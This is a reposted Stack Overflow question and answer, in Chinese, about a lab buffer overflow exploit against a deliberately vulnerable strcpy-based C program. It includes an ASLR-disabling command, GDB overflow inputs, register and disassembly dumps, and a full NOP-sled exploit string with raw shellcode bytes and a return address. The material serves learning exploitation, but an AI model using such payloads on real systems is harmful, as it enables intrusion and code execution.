gpt4 book ai didi

c - 缓冲区溢出漏洞利用示例

转载 作者:太空狗 更新时间:2023-10-29 15:07:57 25 4
gpt4 key购买 nike

我正在处理一些缓冲区溢出漏洞利用示例,并编写了一个基本的易受攻击的 C 应用程序来测试:(目标和攻击者是同一台 Kali 2 机器,并且运行了“echo”0“>/proc/sys/kernel/randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}

strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}

现在,通过在 GDB 中进行一些测试,我可以通过将 260 个字节放入缓冲区来导致段错误:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')

寄存器显示:

eax            0x105    261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99

鉴于上面的 0x424242(尽管 EBP 是 0x0??),我认为我可以成功获得对 EIP 的控制权

问题 1.

使用 260 字节的缓冲区,EIP 将被覆盖,如上所示。如果使用:

r $(python -c 'print "A" * 512')

我发现 SEGSEGV 位于 0x080484b4 寄存器

eax            0x201    513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99

我会想,如果260获得了EIP的控制权,512字节的例子不应该也是如此吗?为什么 512 场景允许 EIP 在这种情况下指向 ret 而不是像上面 260 字节缓冲区示例中的 0x424242??

问题 2.

我创建了一个 87 字节的负载。我已经将有效载荷注入(inject)到最初的 204 个字节中,如下所示

r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')

我的主要问题如下

   0x0804845b <+0>: lea    0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <exit@plt>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <strcpy@plt>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <puts@plt>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret

中断 56 (0x08048493) 并检查 ESP x/2wx $esp 我可以发现:

0xffffd220: 0xffffd230  0xffffd56b

和 x/s 0xffffd56b

0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>

因此,可以推断(希望是正确的)EIP 应该是\x6b\xd5\xff\xff 来调用漏洞利用,并将所有部分替换如下(使用 nop sled):

r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')

不幸的是,程序现在正常终止并显示“[Inferior 1 (process 2863) exited normally]”。我错过了什么或只是偏离了正确的道路......?我还注意到上面的语句中没有中断吗?

-- 编辑

在离开屏幕上的时间后改写更有意义:)

最佳答案

请注意,原始堆栈指针保存在堆栈中,并在 ret 之前恢复。因此,如果您覆盖堆栈,您可能还会覆盖将用于 ret 的堆栈指针。 main 这种方式很特别,因为它在序言中有堆栈对齐代码。

也就是说,预期的行为实际上是第二种情况,第一种是特殊情况。您的字符串恰好是正确的长度,因此终止零会覆盖保存的堆栈指针的低字节,这足以使其在内存中指向较低的位置,但仍在您的字符串中。确切的位置将取决于堆栈布局,它不会总是你的 BBBB,事实上对我来说它在 AAAA 部分的某个地方。请注意,即使关闭了 ASLR,堆栈布局也可能会因环境而改变,因此即使您在 gdb 中使用了一个漏洞,它也可能无法可靠地工作,或者根本无法从 shell 中工作。

关于c - 缓冲区溢出漏洞利用示例,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33590946/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com